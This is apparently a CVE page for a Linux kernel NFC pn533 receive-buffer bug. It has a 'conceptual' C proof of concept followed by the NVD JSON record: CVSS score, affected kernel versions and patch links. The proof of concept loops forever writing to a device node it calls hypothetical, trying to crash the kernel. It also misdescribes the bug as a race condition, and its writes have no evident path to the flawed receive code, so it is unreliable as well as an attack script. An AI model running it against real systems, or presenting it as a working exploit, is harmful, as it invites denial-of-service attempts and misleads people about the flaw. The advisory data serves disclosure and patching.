CVE-2026-31660

/* * Conceptual PoC for CVE-2026-31660 * This PoC simulates the interaction required to trigger the race condition. * Exploitation requires a local user with access to the NFC device. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> // Hypothetical device node for the PN533 NFC interface #define NFC_DEV "/dev/pn533" int main() { int fd; char buffer[1024]; ssize_t bytes_written; printf("[+] Attempting to open %s...\n", NFC_DEV); fd = open(NFC_DEV, O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); printf("[-] Note: This requires the specific hardware to be present.\n"); return 1; } printf("[+] Device opened successfully.\n"); printf("[*] Flooding the device to stress memory allocation...\n"); // Loop to generate traffic and stress the receive buffer allocation logic while (1) { memset(buffer, 0xAA, sizeof(buffer)); bytes_written = write(fd, buffer, sizeof(buffer)); if (bytes_written < 0) { perror("[-] Write failed"); break; } // The goal is to trigger the alloc_skb() failure inside pn532_receive_buf() // which leads to the NULL pointer dereference on the next callback. usleep(1000); } close(fd); return 0; }

{"cve": {"id": "CVE-2026-31660", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:45.577", "lastModified": "2026-04-27T20:17:30.450", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfc: pn533: allocate rx skb before consuming bytes\n\npn532_receive_buf() reports the number of accepted bytes to the serdev\ncore. The current code consumes bytes into recv_skb and may already hand\na complete frame to pn533_recv_frame() before allocating a fresh receive\nbuffer.\n\nIf that alloc_skb() fails, the callback returns 0 even though it has\nalready consumed bytes, and it leaves recv_skb as NULL for the next\nreceive callback. That breaks the receive_buf() accounting contract and\ncan also lead to a NULL dereference on the next skb_put_u8().\n\nAllocate the receive skb lazily before consuming the next byte instead.\nIf allocation fails, return the number of bytes already accepted."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-Other"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.5.1", "versionEndExcluding": "5.10.253", "matchCriteriaId": "45E871E1-B00E-4E88-83A3-60B38EAF2B8A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.169", "matchCriteriaId": "DBEC0E5D-641C-4E98-A6D9-5799B10CE451"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.135", "matchCriteriaId": "15C1A1B2-14EE-494C-AF3E-D5A7BA640B39"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.82", "matchCriteriaId": "02904CAE-71D2-45B3-9EC3-F6A9D18B6307"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.23", "matchCriteriaId": "E9E09FDD-9EE3-4A56-92E2-2B30AFD0072F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.13", "matchCriteriaId": "1490EF9B-9080-481C-8D22-1306AAE664E4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.5:-:*:*:*:*:*:*", "matchCriteriaId": "EE98F46A-F7D9-4609-B6A0-882E7F0D378C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/07cb6c72e66ba548679f22ac29ad588da8999279", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/16649adc2e19509104245ea1f349b629d858f11f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/21ae2cda66a55c759607bbf1d23cbaa42019d2de", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/2ca64fb7e2d2ae14619dd204d4f2f0a601f421fb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kerne ... 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